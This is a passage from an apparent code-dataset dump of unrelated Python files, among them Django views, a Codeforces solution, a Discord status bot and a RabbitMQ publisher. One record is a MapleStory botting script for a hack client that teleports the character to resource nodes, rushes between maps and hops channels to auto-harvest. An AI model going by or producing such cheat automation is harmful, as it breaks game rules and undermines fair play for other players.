{1}'.format(testCase, answer))\n \n ","sub_path":"python/sw-academy-intermediate/string/num-of-ch.py","file_name":"num-of-ch.py","file_ext":"py","file_size_in_byte":1133,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"152193179","text":"'''\nExamples\ninputCopy\n5\na\naba\nabacaba\nba\naba\noutputCopy\nYES\na\nba\naba\naba\nabacaba\n'''\nall_str = []\nfor i in range(int(input())):\n all_str.append(input())\nall_str.sort(key = lambda s: len(s))\nans = \"YES\"\nfor i in range(1, len(all_str)):\n if not all_str[i-1] in all_str[i]:\n ans = \"NO\"\n break\nprint(ans)\nif ans == \"YES\":print(\"\\n\".join(all_str))\n\n\n\n\n\n","sub_path":"CodeForces/486_3_B_substring_sort.py","file_name":"486_3_B_substring_sort.py","file_ext":"py","file_size_in_byte":369,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"568422255","text":"import os, sys, Character, GameState, Field, DataType, Terminal, time, Key\n\nif not any(\"SunCat\" in s for s in sys.path):\n\tsys.path.append(os.getcwd() + \"\\SunCat\")\n\ntry:\n\timport SunCat, SCHotkey, SCLib\nexcept:\n\tprint(\"Couldn't find SunCat module\")\n\n#Version V018\n#################################################################################################################################################\n#\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t#\n#\t\t\t\t\t\t\tBoldmold @ Gamekillers forums, Be sure to leave a like if you enjoy the script\t\t\t\t\t\t\t\t\t\t#\n#\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t#\n#################################################################################################################################################\n\n###NPC ChatKey, Key for harvesting###\thttps://docs.microsoft.com/nb-no/windows/desktop/inputdev/virtual-key-codes\nNpcChat = 0x20 #(Spacebar Default)\n\n###Eneter Maps you want to check###\nmaps = [450005220,450005230,450005241] #List all the maps you want to check, You can list as many as you want.\nLastMapID = 450005241 #the MapID of the last map in the list above\n\n####Enter ID of the Herb/Ore's you want the script to look for and harvest.###\ncollectID = [200000,200001,200002,200003,200004,200005,200006,200007,200008,200009,200010,200011,200012,200013,100000,100001,100002,100003,100004,100005,100006,100007,100008,100009,100010,100011,100012,100013] #Enter CollectID's you want to harvest\n\n###list of maps, Add maps of your liking###\n#Arcana maps [450005530,450005550,450005520,450005510,450005500,450005440,450005431,450005432,450005430,450005420,450005412,450005411,450005410]\n#Temple of time maps [270010100,270010200,270010300,270010400,270010500,270020100,270020200,270020300,270020400,270020500,270030100,270030200,270030300,270030400,270030500]\n#Vanishing Journey maps [450001111,450001110,450001112,450001114,450001261,450001113,450001210,450001215,450001218,450001216,450001217,450001211,450001212,450001213,450001214,450001010,450001011,450001012,450001013,450001014,450001015,450001016,450001260]\n#Kerning Tower 5,6 floor [103041140,103041145,103041147,103041150,103041155,103041157]\n#Expert Harvesting Farm [910001014]\n\n\n###ID LIST###\n###Ores###\n#Silver Vein: 200000\n#Magenta Vein: 200001\n#Blue Vein: 200002\n#Brown Vein: 200003\n#Emerald Vein: 200004\n#Gold Vein: 200005\n#Aquamarine Vein: 200006\n#Red Vein: 200007\n#Black Vein: 200008\n#Purple Vein: 200009\n#Vein: 200010\n#Heartstone Vein: 200011\n#Mysterious : 200012\n#Legendary : 200013\n\n###Herbs###\n#Silver Herb: 100000\n#Magenta Herb: 100001\n#Blue Herb: 100002\n#Brown Herb: 100003\n#Emerald Herb: 100004\n#Gold Herb: 100005\n#Aquamarine Herb: 100006\n#Red Herb: 100007\n#Black Herb: 100008\n#Purple Herb: 100009\n#Herb: 100010\n#Heart Herb: 100011\n#Mysterious: 100012\n#Legendary: 100013\n\n###Expand the list for easier changes :)\n\n\n#########################################################################################################################################\n#\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t#\n#\t\t\t\t\t\t\t\t\t\t\t\tDo not change anything below this line!\t\t\t\t\t\t\t\t\t\t\t\t\t#\n#\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t#\n#########################################################################################################################################\n\n\nSCLib.PersistVar(\"noReactorInMap\", False)\nSCLib.PersistVar(\"MapNumber\", 0)\nSCLib.PersistVar(\"TeleportAttempt\", 0)\nSCLib.PersistVar(\"HarvestAttempt\", 0)\nSCLib.PersistVar(\"TeleportCount\",0)\nSCLib.StartVars(20)\nHasLooted = SCLib.GetVar(\"noReactorInMap\")\nTeleportAttempt = SCLib.GetVar(\"TeleportAttempt\")\nHarvestAttempt = SCLib.GetVar(\"HarvestAttempt\")\nfieldID = Field.GetID()\npos = Character.GetPos()\nCurrentChannel = GameState.GetChannel()\nNewChannel = CurrentChannel +1\n\ndef ChangeChannels():\n\tif CurrentChannel == 20:\n\t\tif fieldID == LastMapID:\n\t\t\tprint(\"Changing Channel to 1\")\n\t\t\ttime.sleep(0.5)\n\t\t\tTerminal.ChangeChannel(1)\n\t\t\ttime.sleep(3)\n\t\t\tprint(\"Resetting back to first map\")\n\t\t\tSCLib.UpdateVar(\"MapNumber\", 0)\n\t\t\ttime.sleep(3)\n\t\telse:\n\t\t\tprint(\"Changing channel to 1\")\n\t\t\ttime.sleep(0.5)\n\t\t\tTerminal.ChangeChannel(1)\n\t\t\ttime.sleep(3)\n\t\t\tSCLib.UpdateVar(\"MapNumber\", SCLib.GetVar(\"MapNumber\")+1)\n\t\t\tprint(\"Changing map to {0}\".format(SCLib.GetVar(\"MapNumber\")))\n\telse:\n\t\tprint(\"Changing channel to {0}\".format(NewChannel))\n\t\ttime.sleep(0.5)\n\t\tTerminal.ChangeChannel(NewChannel)\n\t\ttime.sleep(3)\ndef ResetTeleportAttempt():\n\tSCLib.UpdateVar(\"TeleportAttempt\", 0)\ndef ResetHarvestAttempt():\n\tSCLib.UpdateVar(\"HarvestAttempt\", 0)\nif GameState.IsInGame() and not Terminal.IsRushing():\n\ttime.sleep(1)\n\t\n\t\n\tfor harvest in collectID:\n\t\therbore = Field.FindReactor(harvest)\n\t\tif herbore.valid:\n\t\t\tprint(\"Found herb/Ore with ID {0}\".format(herbore.id))\n\t\t\tSCLib.UpdateVar(\"noReactorInMap\", False)\n\t\t\tbreak\n\t\telse:\n\t\t\tprint(\"Did not find any herb/Ore with ID {0}\".format(harvest))\n\t\t\tSCLib.UpdateVar(\"noReactorInMap\", True)\n\tif herbore.valid:\n\t\tif Field.GetCharacterCount() != 0:\n\t\t\tChangeChannels()\n\t\telse:\n\t\t\tmaxX = herbore.x -1\n\t\t\tminX = herbore.x -60\n\t\t\tmaxY = herbore.y +10\n\t\t\tminY = herbore.y -10\n\t\t\tnewX = herbore.x -1\n\t\t\tnewY = herbore.y -9\n\t\t\tif pos.x < minX or pos.x > maxX or pos.y < minY or pos.y > maxY:\n\t\t\t\tif TeleportAttempt < 3:\n\t\t\t\t\tResetHarvestAttempt()\n\t\t\t\t\tprint(\"Teleporting Attempt {0}\".format(SCLib.GetVar(\"TeleportAttempt\")+1))\n\t\t\t\t\tCharacter.Teleport(newX, newY)\n\t\t\t\t\tSCLib.UpdateVar(\"TeleportAttempt\", SCLib.GetVar(\"TeleportAttempt\")+1)\n\t\t\t\t\tSCLib.UpdateVar(\"TeleportCount\", SCLib.GetVar(\"TeleportCount\")+1)\n\t\t\t\t\tprint(\"Has already teleported {} times in this map\".format(SCLib.GetVar(\"TeleportCount\")))\n\t\t\t\telse:\n\t\t\t\t\tif Terminal.GetCheckBox(\"Pet Item Teleport\"):\n\t\t\t\t\t\tTerminal.SetCheckBox(\"Pet Item Teleport\", False)\n\t\t\t\t\telse:\n\t\t\t\t\t\tResetTeleportAttempt()\n\t\t\t\t\t\ttime.sleep(0.5)\n\t\t\t\t\t\tChangeChannels()\n\t\t\telse:\n\t\t\t\tif not Terminal.GetCheckBox(\"Pet Item Teleport\"):\n\t\t\t\t\tTerminal.SetCheckBox(\"Pet Item Teleport\", True)\n\t\t\t\telse:\n\t\t\t\t\tResetTeleportAttempt()\n\t\t\t\t\tif HarvestAttempt < 4:\n\t\t\t\t\t\tprint(\"Harvesting attempt {0}\".format(SCLib.GetVar(\"HarvestAttempt\")+1))\n\t\t\t\t\t\ttime.sleep(0.5)\n\t\t\t\t\t\tKey.Press(NpcChat)\n\t\t\t\t\t\ttime.sleep(4)\n\t\t\t\t\t\tSCLib.UpdateVar(\"HarvestAttempt\", SCLib.GetVar(\"HarvestAttempt\")+1)\n\t\t\t\t\telse:\n\t\t\t\t\t\tChangeChannels()\n\telse:\n\t\tif HasLooted:\n\t\t\tResetHarvestAttempt()\n\t\t\tif Terminal.GetCheckBox(\"Pet Item Teleport\"):\n\t\t\t\tTerminal.SetCheckBox(\"Pet Item Teleport\", False)\n\t\t\telse:\n\t\t\t\tif fieldID != maps[SCLib.GetVar(\"MapNumber\")]:\n\t\t\t\t\tTerminal.Rush(maps[SCLib.GetVar(\"MapNumber\")])\n\t\t\t\t\tSCLib.UpdateVar(\"TeleportCount\",0)\n\t\t\t\telse:\n\t\t\t\t\tChangeChannels()\n\t\t\t\t\tSCLib.UpdateVar(\"TeleportCount\",0)\n\tif SCLib.GetVar(\"TeleportCount\")>=6:\n\t\tResetHarvestAttempt()\n\t\tprint(\"Reached teleporting limit\")\n\t\tif Terminal.GetCheckBox(\"Pet Item Teleport\"):\n\t\t\tTerminal.SetCheckBox(\"Pet Item Teleport\", False)\n\t\telse:\n\t\t\tif fieldID != maps[SCLib.GetVar(\"MapNumber\")]:\n\t\t\t\tTerminal.Rush(maps[SCLib.GetVar(\"MapNumber\")])\n\t\t\t\tSCLib.UpdateVar(\"TeleportCount\",0)\n\t\t\telse:\n\t\t\t\tChangeChannels()\n\t\t\t\tSCLib.UpdateVar(\"TeleportCount\",0)\nif GameState.IsInGame() and Terminal.IsRushing():\n\tif fieldID == 270000200:\n\t\tTerminal.StopRush()","sub_path":"BMAutoMiner-HerberV018.py","file_name":"BMAutoMiner-HerberV018.py","file_ext":"py","file_size_in_byte":7088,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"164406569","text":"# requires an instance of pelias running at localhost:4000\n\nimport requests\nfrom mec.models import Address\nfrom django.contrib.gis.geos import Point\nfrom django.core.management.base import BaseCommand, CommandError\n\n\nclass Command(BaseCommand):\n def handle(self, *args, **options):\n ungeocoded = Address.objects.filter(coordinates__isnull=True)\n for addr in ungeocoded.iterator():\n self.stdout.write(str(addr))\n response = requests.get(f'http://localhost:4000/v1/search/structured?address=\"{addr.address1}\"&locality=\"{addr.city}\"®ion=\"{addr.state}\"&postalcode=\"{addr.zip}\"').json()\n if len(response['features']) == 1:\n first_result = response['features'][0]\n #postalcode = first_result['properties'].get('postalcode')\n #locality = first_result['properties'].get('locality')\n geocode = first_result['geometry']['coordinates']\n # if postalcode==str(addr.zip):\n # addr.coordinates=Point(geocode)\n # addr.save()\n # self.stdout.write('successful')\n # elif not postalcode:\n # addr.coordinates=Point(geocode)\n # addr.save()\n # self.stdout.write('successful')\n # # elif locality = addr.city\n # else: \n # self.stdout.write('failed')\n addr.coordinates=Point(geocode)\n addr.save()\n self.stdout.write('successful')\n else:\n self.stdout.write('failed')\n","sub_path":"mec/management/commands/geocode_all_addr.py","file_name":"geocode_all_addr.py","file_ext":"py","file_size_in_byte":1619,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"234286716","text":"from django.shortcuts import render\n\nfrom django.http import JsonResponse\nfrom app.models import Data\n\ndef search(request):\n input_word = request.GET.get('word')\n results = Data.objects.filter(word__contains=input_word).order_by(\"-count\").values(\"word\", \"count\")\n exact_match = []\n starts_with = []\n remaining_words = []\n for r in results:\n _word = r.get('word')\n if _word == input_word:\n exact_match.append(r)\n elif _word.startswith(input_word):\n starts_with.append(r)\n else:\n remaining_words.append(r)\n \n total_results = exact_match + starts_with + remaining_words\n\n return JsonResponse({\"result\": total_results[:25]})\n","sub_path":"web/app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":709,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"124714711","text":"from django.shortcuts import render\nfrom django.core.paginator import Paginator, EmptyPage, PageNotAnInteger\n\nfrom taggit.models import Tag\n\nfrom .models import Post\n\n#local functions\ndef _paginate_posts(request, posts):\n\tpaginator = Paginator(posts, 3)\n\t#providing page with current\n\tpage = request.GET.get('page', 1)\n\ttry:\n\t\tposts = paginator.page(page)\n\texcept PageNotAnInteger:\n\t\tposts = paginator.page(1)\n\texcept EmptyPage:\n\t\tposts = paginator.page(paginator.num_pages)\n\treturn posts\n\n# Create your views here.\ndef post_list(request):\n\tposts = Post.objects.filter(published_date__isnull=False).order_by('-published_date')\n\t#return render(request, 'blog/post_list.html', {'posts': posts})\n\tpaginated = _paginate_posts(request, posts)\n\treturn render(request, 'blog/post_list.html', {\n\t\t'posts': paginated,\n\t\t'tags': Tag.objects.all(),\n\t})\n\ndef post_detail(request, slug=\"\"):\n\ttry:\n\t\tpost = Post.objects.get(slug=slug.lower())\n\texcept Post.DoesNotExist:\n\t\treturn render(request, 'blog/base.html')\n\treturn render(request, 'blog/post_detail.html', {\n\t\t'post': post,\n\t})\n\ndef posts_by_tag(request, slug=\"\"):\n\tposts = Post.objects.filter(tags__slug=slug.lower())\n\t#if posts.count() == 0:\n\t#\traise Exception(\"whatever\")\n\tpaginated = _paginate_posts(request, posts)\n\treturn render(request, 'blog/post_list.html', {\n\t\t'posts': paginated,\n\t\t'slug': slug,\n\t\t'tags': Tag.objects.all(),\n\t})","sub_path":"blog/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1381,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"399978595","text":"from fishlifeexoncapture.fileHandler import TollCheck\n\n# path = \".\"\n# forstep = None\n# npart = 2\n\nMETADATAFILE = \".ignoreFishLifeExonCapture_part{}\"\n\ndef simplepartition(path, npart):\n\n if npart < 2:\n exit()\n\n tc_class = TollCheck(path = path)\n mydict = tc_class.pickleIt\n mykeys = list(mydict.keys())\n\n window = len(mykeys)/npart if len(mykeys) >= npart else 1\n\n init = 0\n done = []\n for i in range(0, npart):\n outhiddenfile = METADATAFILE.format(i)\n # print(outhiddenfile)\n names = mykeys[round(init): round(init + window)]\n # print(init, init + window)\n # print(round(init), round(init + window))\n # out = {i: '' for i in names}\n out = { i:mydict[i] for i in names}\n tc_class.__save_obj__(out, outhiddenfile)\n \n done += names\n if len(done) == len(mykeys):\n break\n \n init += window\n","sub_path":"src/fishmanager/split.py","file_name":"split.py","file_ext":"py","file_size_in_byte":924,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"231227750","text":"\nimport matplotlib.pyplot as plt\nfrom pylab import mpl\n#plt.rcParams['font.sans-serif'] = ['YaHei Consolas Hybrid'] # 用来正常显示中文标签\n#plt.rcParams['axes.unicode_minus'] = False # 用来正常显示负号\nimport mpl_toolkits.axisartist.axislines as axislines\n\nfig = plt.figure(1, figsize=(10, 6))\nfig.subplots_adjust(bottom=0.2)\n\n# 子图1\nax1 = axislines.Subplot(fig, 131)\nfig.add_subplot(ax1)\n# for axis in ax1.axis.values():\n# axis.major_ticks.set_tick_out(True) # 标签全部在外部\nax1.axis[:].major_ticks.set_tick_out(True) # 这句和上面的for循环功能相同\nax1.axis[\"left\"].label.set_text(\"子图1 -left标签\") # 显示在左边\n# 设置刻度\nax1.set_yticks([2,4,6,8])\nax1.set_xticks([0.2,0.4,0.6,0.8])\n\n# 子图2\nax2 = axislines.Subplot(fig, 132)\nfig.add_subplot(ax2)\nax2.set_yticks([1,3,5,7])\nax2.set_yticklabels(('one','two','three', 'four', 'five')) # 不显示‘five’\nax2.set_xlim(5, 0) # X轴刻度\nax2.axis[\"left\"].set_axis_direction(\"right\")\nax2.axis[\"left\"].label.set_text(\"子图2 -left标签\") # 显示在右边\nax2.axis[\"bottom\"].set_axis_direction(\"top\")\nax2.axis[\"right\"].set_axis_direction(\"left\")\nax2.axis[\"top\"].set_axis_direction(\"bottom\")\n\n# 子图3\nax3 = axislines.Subplot(fig, 133)\nfig.add_subplot(ax3)\n# 前两位表示X轴范围，后两位表示Y轴范围\nax3.axis([40, 160, 0, 0.03])\nax3.axis[\"left\"].set_axis_direction(\"right\")\nax3.axis[:].major_ticks.set_tick_out(True)\n\nax3.axis[\"left\"].label.set_text(\"Long Label Left\")\nax3.axis[\"bottom\"].label.set_text(\"Label Bottom\")\nax3.axis[\"right\"].label.set_text(\"Long Label Right\")\nax3.axis[\"right\"].label.set_visible(True)\nax3.axis[\"left\"].label.set_pad(0)\nax3.axis[\"bottom\"].label.set_pad(20)\n\nplt.show()\n","sub_path":"code.org/plotExercise.py","file_name":"plotExercise.py","file_ext":"py","file_size_in_byte":1723,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"242582452","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: /home/fritz/github/posterior/treecat/treecat/config.py\n# Compiled at: 2017-08-14 22:48:52\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nDEFAULT_CONFIG = {'seed': 0, \n 'model_num_clusters': 32, \n 'model_ensemble_size': 8, \n 'learning_init_epochs': 100, \n 'learning_full_epochs': 1, \n 'learning_estimate_tree': True, \n 'learning_sample_tree_rate': 3}\n\ndef make_config(**options):\n \"\"\"Create a new global config dict with default values.\"\"\"\n config = DEFAULT_CONFIG.copy()\n for key, value in options.items():\n if key not in config:\n raise ValueError(('Unknown option: {}. Try one of:\\n {}').format(key, ('\\n ').join(sorted(config.keys()))))\n config[key] = int(value)\n\n return config","sub_path":"pycfiles/pytreecat-0.1.9.tar/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":952,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"297356746","text":"\"\"\"Development automation\n\"\"\"\nimport os\nimport tempfile\n\nimport nox\n\nPACKAGE_NAME = \"furo\"\nnox.options.sessions = [\"lint\", \"test\"]\n\n\n#\n# Helpers\n#\ndef _install_this_project_with_flit(session, *, extras=None, editable=False):\n session.install(\"flit\")\n args = []\n if extras:\n args.append(\"--extras\")\n args.append(\",\".join(extras))\n if editable:\n args.append(\"--pth-file\" if os.name == \"nt\" else \"--symlink\")\n\n session.run(\"flit\", \"install\", \"--deps=production\", *args, silent=True)\n\n\n#\n# Development Sessions\n#\n@nox.session(name=\"docs-live\", python=\"3.8\")\ndef docs_live(session):\n if session.posargs:\n docs_dir = session.posargs[0]\n additional_dependencies = session.posargs[1:]\n else:\n docs_dir = \"docs/\"\n additional_dependencies = ()\n\n build_command = \"./node_modules/.bin/gulp build\"\n _install_this_project_with_flit(session, extras=[\"doc\"], editable=True)\n session.install(\"sphinx-autobuild\", *additional_dependencies)\n\n with tempfile.TemporaryDirectory() as destination:\n session.run(\n \"sphinx-autobuild\",\n # for sphinx-autobuild\n \"--port=0\",\n \"--watch=src/\",\n f\"--pre-build={build_command}\",\n r\"--re-ignore=src/.*/theme/static/.*\\.(css|js)\", # ignore the generated files\n \"--open-browser\",\n # for sphinx\n \"-a\",\n docs_dir,\n destination,\n )\n\n\n@nox.session(python=\"3.8\", reuse_venv=True)\ndef docs(session):\n # Generate relevant files prior to installation\n session.run(\"gulp\", \"build\", external=True)\n\n _install_this_project_with_flit(session, extras=[\"doc\"], editable=False)\n\n # Generate documentation into `build/docs`\n session.run(\"sphinx-build\", \"-b\", \"html\", \"-v\", \"docs/\", \"build/docs\")\n\n\n@nox.session(python=\"3.8\", reuse_venv=True)\ndef lint(session):\n session.install(\"pre-commit\")\n\n args = list(session.posargs)\n args.append(\"--all-files\")\n if \"CI\" in os.environ:\n args.append(\"--show-diff-on-failure\")\n\n session.run(\"pre-commit\", \"run\", \"--all-files\", *args)\n\n\n@nox.session(python=\"3.6\")\ndef test(session):\n _install_this_project_with_flit(session, extras=[\"test\"])\n\n args = session.posargs or [\"-n\", \"auto\", \"--cov\", PACKAGE_NAME]\n session.run(\"pytest\", *args)\n","sub_path":"noxfile.py","file_name":"noxfile.py","file_ext":"py","file_size_in_byte":2336,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"159246475","text":"import core.module as module\nimport core.worker as worker\nimport mcstatus as mc\n\nclass ServerInfoModule(module.Module):\n \n def __init__(self):\n print('ServerInfoModule initialized...')\n\n '''\n This method gets called when a command arrives that passed this module's filter\n This function can return a string which will be the bot's response.\n '''\n async def handle_message(self, message):\n if not message.channel.name == module.chat_default.name:\n return\n\n args = message.content.split(' ')\n\n if len(args) == 2:\n if args[1] == 'minecraft':\n worker.queue_function(self.minecraft_status)\n return\n\n if await super().handle_message(message):\n return\n\n '''\n This method gets called when help is called on this module.\n It should return a string explaining the usage of this module\n '''\n def help_message(self):\n msg = 'ServerInfoModule help:\\r\\n'\n msg += 'This module allows you to get info on the status of the l3am server, note that it is still a work in progress at this time.\\r\\n\\r\\n'\n msg += 'Commands:\\r\\n'\n msg += ' \"!info minecraft\": Shows the online status of the minecraft server\\r\\n'\n return msg\n\n ''' Status in 1 line (running! or error etc..) '''\n def short_status(self):\n return self.name() + ': ready...'\n\n '''\n This method gets called when status is called on this module. \n It should return a string explaining the runtime status of this module.\n '''\n def status(self):\n msg = 'ServerInfoModule status: ok!\\r\\n'\n msg += self.minecraft_status()\n return msg\n\n ''' This method gets called once every second for time based operations. '''\n async def update(self):\n pass\n\n def minecraft_status(self):\n msg = ''\n \n try:\n server_1 = mc.MinecraftServer('minecraft.wavycolt.com')\n status = server_1.status()\n\n msg += 'Server 1: \"{}\" has {} players online and replied in {} ms'.format(status.description['text'], status.players.online, status.latency)\n if status.players.online > 0:\n msg += ', online players:\\r\\n'\n for x in status.players.sample:\n msg += ' - {}\\r\\n'.format(x.name)\n else:\n msg += '.'\n except Exception as e:\n print(e)\n msg += 'Server 1: offline...'\n\n try:\n server_1 = mc.MinecraftServer('minecraft.wavycolt.com', 25570)\n status = server_1.status()\n\n msg += '\\r\\n\\r\\nServer 2: \"{}\" has {} players online and replied in {} ms'.format(status.description['text'], status.players.online, status.latency)\n if status.players.online > 0:\n msg += ', online players:\\r\\n'\n for x in status.players.sample:\n msg += ' - {}\\r\\n'.format(x.name)\n else:\n msg += '.'\n except Exception as e:\n print(e)\n msg += '\\r\\nServer 2: offline...'\n\n try:\n server_1 = mc.MinecraftServer('minecraft.wavycolt.com', 25575)\n status = server_1.status()\n\n msg += '\\r\\n\\r\\nServer 3: \"{}\" has {} players online and replied in {} ms'.format(status.description['text'], status.players.online, status.latency)\n if status.players.online > 0:\n msg += ', online players:\\r\\n'\n for x in status.players.sample:\n msg += ' - {}\\r\\n'.format(x.name)\n else:\n msg += '.'\n except Exception as e:\n print(e)\n msg += '\\r\\nServer 3: offline...'\n\n module.send_message_nowait(module.chat_default, msg)\n","sub_path":"botv3/modules/ServerInfoModule.py","file_name":"ServerInfoModule.py","file_ext":"py","file_size_in_byte":3808,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"457418664","text":"from patterns import PlogLine, PlogBlock\r\n\r\nclass CDPBlock(object):\r\n\t'''Given as a 'block' through PlugBlockMixin.add_block.\r\n\tThe add_block method looks for the `block` attribute and appends\r\n\tit to the running blocks.\r\n\r\n\tLines represent each attribute to dicover within the _Start_ and _stop_\r\n\tcontent of a block. Each `PlogLine` extracts an explicitly designed\r\n\tvalue, adding it to the 'lines' of a block.\r\n\tA block returns the line value as a dictionary attribute in `Plug.data_block`.\r\n\t'''\r\n\r\n\t# Define a PlogBlock and its starting value.\r\n\tblock = PlogBlock('Device ID:', ref='Device')\r\n\tblock.header.ref='device_id'\r\n\r\n\tblock.footer = PlogLine('----------', ref='footer').anything()\r\n\r\n\tlines = {}\r\n\tlines['entry_address'] = PlogLine('IP address:')\r\n\tlines['platform'] = PlogLine('Platform:')\r\n\tlines['interface'] = PlogLine('Interface:')\r\n\tlines['hold_time'] = PlogLine('Holdtime').maybe(' ').then(':')\r\n\tlines['version'] = PlogLine('Version').maybe(' ').then(':').multiline()\r\n\tlines['version'] = PlogLine('advertisement version:')\r\n\tlines['duplex'] = PlogLine('Duplex:')\r\n\tlines['power_drawn'] = PlogLine('Power drawn:')\r\n\tlines['power_request_id'] = PlogLine('Power request id:')\r\n\tlines['power_management_id'] = PlogLine('Power management id:')\r\n\tlines['power_request_levels'] = PlogLine('Power request levels are:')\r\n\r\n\tblock.add_lines(**lines)\r\n","sub_path":"src/plog/blocks.py","file_name":"blocks.py","file_ext":"py","file_size_in_byte":1364,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"653708811","text":"# -*- coding: utf-8 -*-\n# This code was copied from the pika documentation\nimport time\nimport pika\nimport pickle\nimport logging\nimport functools\nfrom threading import Thread\nfrom queue import Queue as ThreadQueue\nfrom cryptography.fernet import Fernet\nfrom threading import Event as ThreadEvent\n\nLOG_FORMAT = ('%(levelname) -10s %(asctime)s %(name) -30s %(funcName) '\n '-35s %(lineno) -5d: %(message)s')\nLOGGER = logging.getLogger(__name__)\n\nclass PID():\n def __init__(self, kp, kd, ki, i_max, i_min, dt):\n self.err = [0, 0]\n self.int = [0, 0]\n self.der = 0\n self.i_max = i_max\n self.i_min = i_min\n self.kp = kp\n self.kd = kd\n self.ki = ki\n self.dt = dt\n\n def next(self, x):\n '''A simple PID'''\n # err[0] = ref - x\n # err[1] = err[0] from the last sample\n # int[0] = int[1] + err[0]\n # int[1] = int[0] from the last sample\n # der = err[1] + err[0]\n # dt = sample period in sec\n # output = kp*err[0] + (ki*int[0]*dt) + (kd*der/dt)\n output = None\n ref = 0\n self.err[0] = ref - x\n self.int[0] = self.int[1] + self.err[0]\n self.der = self.err[1] + self.err[0]\n\n self.int[0] = self.i_max if self.int[0] > self.i_max else self.int[0]\n self.int[0] = self.i_min if self.int[0] < self.i_min else self.int[0]\n\n output = self.kp * self.err[0]\n output += self.ki * self.int[0] * self.dt\n\n if self.dt != 0:\n output += self.kd * self.der / self.dt\n\n self.output = output\n self.err[1] = self.err[0]\n self.int[1] = self.int[0]\n return output\n\n def reset(self):\n self.err = [0, 0]\n self.int = [0, 0]\n self.der = 0\n\n\nclass QueueToSampleTimeControl(PID):\n def __init__(self, i_max, dt):\n super().__init__(kp=0.07, kd=0.05, ki=0.4, i_max=i_max, i_min=-1 * i_max, dt=dt)\n if i_max != 0:\n self.min_tempo = 1 / i_max\n else:\n self.min_tempo = 0.000001\n\n def next(self, x):\n '''Invert the output of our PID -> large amounts of control need to express\n short durations in time'''\n output = super().next(x)\n\n # if the controller is working accelerate the wind-down of the integrator\n # (the queue can't be negative, so help it out)\n if output <= 0:\n self.int[1] /= 1.1\n self.err[1] /= 1.1\n output = 1 / self.dt\n\n # start with the baseline tempo\n time_recommendation = self.dt\n\n if output != 0:\n time_recommendation = 1 / output\n\n # clamps\n time_recommendation = \\\n self.min_tempo if time_recommendation < self.min_tempo else time_recommendation\n\n time_recommendation = \\\n self.dt if time_recommendation > self.dt else time_recommendation\n\n return time_recommendation\n\nclass SimplePikaTopicPublisher():\n '''\n This is a pika (Python-RabbitMq) message publisher heavily based on the\n asychronous example provided in the pika documentation. It should handle\n unexpected interactions with RabbitMQ such as channel and connection closures.\n\n If RabbitMQ closes the connection, an object of this class should reopen it.\n (You should look at the output, as there are limited reasons why the connection\n may be closed, which usually are tied to permission related issues or socket\n timeouts.)\n\n Example:\n # set a callback mechanism to sample the task's input queue every 1.5 seconds\n # name the exchange in the RabbitMq server at the url to 'g_pika_producer_exchange'\n # name the RabbitMq queue on the server at the url to 'g_queue'\n # set the topic routing key to 'pub_thread.text'\n\n publisher = \\\n SimplePikaTopicPublisher(\n amqp_url='amqp://bob:dobbs@192.168.1.69:5672/%2F?connection_attempts=3&heartbeat_interval=3600',\n publish_tempo_sec=1.5,\n exchange_name='g_pika_producer_exchange',\n routing_key='pub_thread.text',\n )\n\n # to start the thread so pika won't block your code:\n publisher.start_thread()\n\n # to actually write messages (publish) to the amqp_url:\n publish.post_fifo(\"Some Message\")\n\n # to stop the thread but keep the connection\n publisher.start_thread()\n\n # to start the thread again\n publisher.start_thread()\n\n # to stop the connection and the thread\n publisher.stop()\n\n # to reconnect and start the thread\n publisher.start_thread()\n\n Notes:\n It uses delivery confirmations and illustrates one way to keep track of\n messages that have been sent and if they've been confirmed by RabbitMQ.\n This confirmation mechanism will not work if message tempo exceeds the\n publish_tempo (the messages will get through but the confirmation mechanism\n will indicate there is a problem when there isn't one.)\n\n If the input queue has more than one item they will all be sent out to the\n network and the queue sampler callback's frequency will temporarily\n increase to deal with queue bursting.\n\n '''\n EXCHANGE_TYPE = 'topic'\n PUBLISH_FAST_INTERVAL_SEC = 0.000001 # right now\n PRODUCER_VERSION = u'1.0'\n\n def __init__(self,\n amqp_url,\n routing_key,\n publish_tempo_sec,\n exchange_name):\n '''Setup the example publisher object, passing in the URL we will use\n to connect to RabbitMQ.\n\n :param str amqp_url: The URL for connecting to RabbitMQ\n\n '''\n self._channel = None\n self._connection = None\n\n self._acked = 0\n self._nacked = 0\n self._deliveries = []\n self._message_number = 0\n\n self._closing = False\n self._stopping = False\n self.connect_error = 